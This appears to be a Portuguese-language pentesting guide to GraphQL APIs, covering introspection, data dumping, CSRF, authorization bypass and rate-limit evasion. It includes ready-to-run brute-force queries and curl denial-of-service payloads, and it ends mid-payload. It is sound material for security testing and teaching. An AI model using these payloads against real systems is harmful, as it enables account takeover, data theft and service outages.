# GraphQL {{#include ../../banners/hacktricks-training.md}} ## Introdução GraphQL é **destacado** como uma **alternativa eficiente** ao REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que muitas vezes exige inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados. ## GraphQL e Segurança Com o advento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que **o GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem a autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo à segurança. ### Ataques de Força Bruta em Diretórios e GraphQL Para identificar instâncias expostas do GraphQL, recomenda-se a inclusão de caminhos específicos em ataques de força bruta em diretórios. Esses caminhos são: - `/graphql` - `/graphiql` - `/graphql.php` - `/graphql/console` - `/api` - `/api/graphql` - `/graphql/api` - `/graphql/graphql` Identificar instâncias abertas do GraphQL permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso ao detalhar as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### Impressão Digital A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo de GraphQL está sendo usado em um servidor e, em seguida, imprime algumas informações úteis para o auditor de segurança. #### Consultas Universais Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, isso confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado. ```javascript query{__typename} ``` ### Enumeração Básica Graphql geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora, por questões de segurança, seja recomendado permitir apenas json para prevenir ataques CSRF. #### Introspecção Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas. ```bash query={__schema{types{name,fields{name}}}} ``` Com esta consulta, você encontrará o nome de todos os tipos que estão sendo usados: ![](<../../images/image (1036).png>) ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumentos (e o tipo dos args). Isso será muito útil para saber como consultar o banco de dados. ![](<../../images/image (950).png>) **Erros** É interessante saber se os **erros** serão **mostrados**, pois eles contribuirão com informações úteis. ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ![](<../../images/image (416).png>) **Enumerar Esquema de Banco de Dados via Introspecção** > [!TIP] > Se a introspecção estiver habilitada, mas a consulta acima não for executada, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta. ```bash #Full introspection query query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation #Often needs to be deleted to run query onFragment #Often needs to be deleted to run query onField #Often needs to be deleted to run query } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` Consulta de introspecção inline: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...) ![](<../../images/image (363).png>) Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma GUI todas as opções. ### Consultando Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**. Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) Note que o tipo da consulta "_flags_" é "_Flags_", e este objeto é definido como abaixo: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) Você pode ver que os objetos "_Flags_" são compostos por **name** e **value**. Então você pode obter todos os nomes e valores das flags com a consulta: ```javascript query={flags{name, value}} ``` Observe que, caso o **objeto a ser consultado** seja um **tipo** **primitivo** como **string**, como no exemplo a seguir ![](<../../images/image (958).png>) Você pode simplesmente consultá-lo com: ```javascript query = { hiddenFlags } ``` Em outro exemplo onde havia 2 objetos dentro do objeto do tipo "_Query_": "_user_" e "_users_".\ Se esses objetos não precisarem de nenhum argumento para buscar, poderia **recuperar todas as informações deles** apenas **pedindo** os dados que você deseja. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos: ![](<../../images/image (880).png>) No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**: ![](<../../images/image (1042).png>) Parece que de alguma forma ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\ De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_. Assim, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) Note que eu **descobri** que poderia pedir os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro: ![](<../../images/image (707).png>) E durante a **fase de enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_. **Truque de despejo de string de consulta (graças ao @BinaryShadow\_)** Se você pode buscar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **busca por uma string vazia**, isso irá **despejar todos os dados**. (_Note que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você pode buscar usando "**theusers**" por um campo String chamado "**description**"_). ### Buscando Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados. Você pode **buscar** pessoas **pelo** **nome** e obter seus emails: ```javascript { searchPerson(name: "John Doe") { email } } ``` Você pode **pesquisar** pessoas **pelo** **nome** e obter seus **filmes** **assinados**: ```javascript { searchPerson(name: "John Doe") { email subscribedMovies { edges { node { name } } } } } ``` Observe como é indicado recuperar o `name` dos `subscribedMovies` da pessoa. Você também pode **pesquisar vários objetos ao mesmo tempo**. Neste caso, uma pesquisa de 2 filmes é feita: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { name } }r ``` Ou até mesmo **relações de vários objetos diferentes usando aliases**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { subscribedMovies { edges { node { name } } } } davidsMovieList: searchPerson(name: "David Smith") { subscribedMovies { edges { node { name } } } } } ``` ### Mutations **As mutações são usadas para fazer alterações no lado do servidor.** Na **introspecção**, você pode encontrar as **mutações** **declaradas**. Na imagem a seguir, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados. Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { movies { name rating } } } ``` **Observe como tanto os valores quanto o tipo de dados são indicados na consulta.** Além disso, o banco de dados suporta uma operação de **mutação**, chamada `addPerson`, que permite a criação de **pessoas** juntamente com suas associações a **amigos** e **filmes** existentes. É crucial notar que os amigos e filmes devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { person { name email friends { edges { node { name email } } } subscribedMovies { edges { node { name rating releaseYear } } } } } } ``` ### Sobrecarga de Diretivas Como explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica chamar uma diretiva até milhões de vezes para fazer o servidor desperdiçar operações até que seja possível realizar um DoS. ### Agrupamento de força bruta em 1 solicitação de API Esta informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Autenticação através da API GraphQL com **envio simultâneo de muitas consultas com diferentes credenciais** para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que tudo está bem e que não há um bot de força bruta tentando adivinhar senhas. Abaixo, você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes ao mesmo tempo**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma: ![](<../../images/image (1081).png>) Como podemos ver na captura de tela da resposta, a primeira e a terceira solicitações retornaram _null_ e refletiram as informações correspondentes na seção _error_. A **segunda mutação teve os dados de autenticação corretos** e a resposta contém o token de sessão de autenticação correto. ![](<../../images/image (119) (1).png>) ## GraphQL Sem Introspecção Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema. Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações, [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Contornando defesas de introspecção do GraphQL Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, focando na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados na regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode contornar tais defesas: ```bash # Example with newline to bypass { "query": "query{__schema {queryType{name}}}" } ``` Se não for bem-sucedido, considere métodos de solicitação alternativos, como **GET requests** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas a solicitações POST. ### Tente WebSockets Como mencionado em [**esta palestra**](https://www.youtube.com/watch?v=tIo_t5uUK50), verifique se pode ser possível conectar-se ao graphQL via WebSockets, pois isso pode permitir que você contorne um potencial WAF e faça a comunicação websocket vazar o esquema do graphQL: ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { var GQL_CALL = { extensions: {}, query: ` { __schema { _types { name } } }`, } var graphqlMsg = { type: "GQL.START", id: "1", payload: GQL_CALL, } ws.send(JSON.stringify(graphqlMsg)) } ``` ### **Descobrindo Estruturas GraphQL Expostas** Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a aba `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` ## CSRF em GraphQL Se você não sabe o que é CSRF, leia a página a seguir: {{#ref}} ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} Lá fora, você poderá encontrar vários endpoints GraphQL **configurados sem tokens CSRF.** Observe que as requisições GraphQL geralmente são enviadas via requisições POST usando o Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` No entanto, a maioria dos endpoints GraphQL também suporta **`form-urlencoded` POST requests:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Portanto, como as solicitações CSRF, como as anteriores, são enviadas **sem solicitações de pré-vôo**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF. No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET. Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.** Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque**, pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário. Para mais informações **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Sequestro de WebSocket entre sites no GraphQL Semelhante às vulnerabilidades CRSF abusando do GraphQL, também é possível realizar um **sequestro de WebSocket entre sites para abusar de uma autenticação com GraphQL com cookies desprotegidos** e fazer um usuário realizar ações inesperadas no GraphQL. Para mais informações, verifique: {{#ref}} ../../pentesting-web/websocket-attacks.md {{#endref}} ## Autorização no GraphQL Muitas funções GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização. Modificar variáveis de entrada de consulta pode levar a detalhes sensíveis da conta [vazados](https://hackerone.com/reports/792927). A mutação pode até levar a uma tomada de conta ao tentar modificar dados de outra conta. ```javascript { "operationName":"updateProfile", "variables":{"username":INJECT,"data":INJECT}, "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` ### Bypass authorization in GraphQL [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco. No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
## Bypassing Rate Limits Using Aliases in GraphQL Em GraphQL, aliases são um recurso poderoso que permite a **nomeação de propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto dentro de uma única solicitação. Aliases podem ser empregados para superar a limitação que impede objetos GraphQL de terem múltiplas propriedades com o mesmo nome. Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Embora o propósito principal dos aliases seja reduzir a necessidade de numerosas chamadas de API, um caso de uso não intencional foi identificado onde aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para frustrar ataques de força bruta, restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não levar em conta o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa. Considere o exemplo fornecido abaixo, que ilustra como consultas com alias podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, uma vez que compila várias consultas em uma única solicitação HTTP, potencialmente permitindo a verificação de numerosos códigos de desconto simultaneamente. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { isvalidDiscount(code:$code){ valid } isValidDiscount2:isValidDiscount(code:$code){ valid } isValidDiscount3:isValidDiscount(code:$code){ valid } } ``` ## DoS em GraphQL ### Sobrecarga de Alias **Sobrecarga de Alias** é uma vulnerabilidade do GraphQL onde atacantes sobrecarregam uma consulta com muitos aliases para o mesmo campo, fazendo com que o resolvedor de backend execute esse campo repetidamente. Isso pode sobrecarregar os recursos do servidor, levando a uma **Negação de Serviço (DoS)**. Por exemplo, na consulta abaixo, o mesmo campo (`expensiveField`) é solicitado 1.000 vezes usando aliases, forçando o backend a computá-lo 1.000 vezes, potencialmente esgotando a CPU ou a memória: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` Para mitigar isso, implemente limites de contagem de alias, análise de complexidade de consulta ou limitação de taxa para prevenir abuso de recursos. ### **Agrupamento de Consultas Baseado em Array** **Agrupamento de Consultas Baseado em Array** é uma vulnerabilidade onde uma API GraphQL permite agrupar múltiplas consultas em uma única solicitação, permitindo que um atacante envie um grande número de consultas simultaneamente. Isso pode sobrecarregar o backend ao executar todas as consultas agrupadas em paralelo, consumindo recursos excessivos (CPU, memória, conexões de banco de dados) e potencialmente levando a uma **Negação de Serviço (DoS)**. Se não houver limite no número de consultas em um lote, um atacante pode explorar isso para degradar a disponibilidade do serviço. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ -H "Content-Type: application/json" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` Neste exemplo, 10 consultas diferentes são agrupadas em uma única solicitação, forçando o servidor a executar todas elas simultaneamente. Se explorado com um tamanho de lote maior ou consultas computacionalmente caras, pode sobrecarregar o servidor. ### **Vulnerabilidade de Sobrecarga de Diretiva** **Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` Observe que no exemplo anterior `@aa` é uma diretiva personalizada que **pode não estar declarada**. Uma diretiva comum que geralmente existe é **`@include`**: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` Você também pode enviar uma consulta de introspecção para descobrir todas as diretivas declaradas: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` E então **use alguns dos personalizados**. ### **Vulnerabilidade de Duplicação de Campo** **Duplicação de Campo** é uma vulnerabilidade onde um servidor GraphQL permite consultas com o mesmo campo repetido excessivamente. Isso força o servidor a resolver o campo de forma redundante para cada instância, consumindo recursos significativos (CPU, memória e chamadas de banco de dados). Um atacante pode criar consultas com centenas ou milhares de campos repetidos, causando alta carga e potencialmente levando a um **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 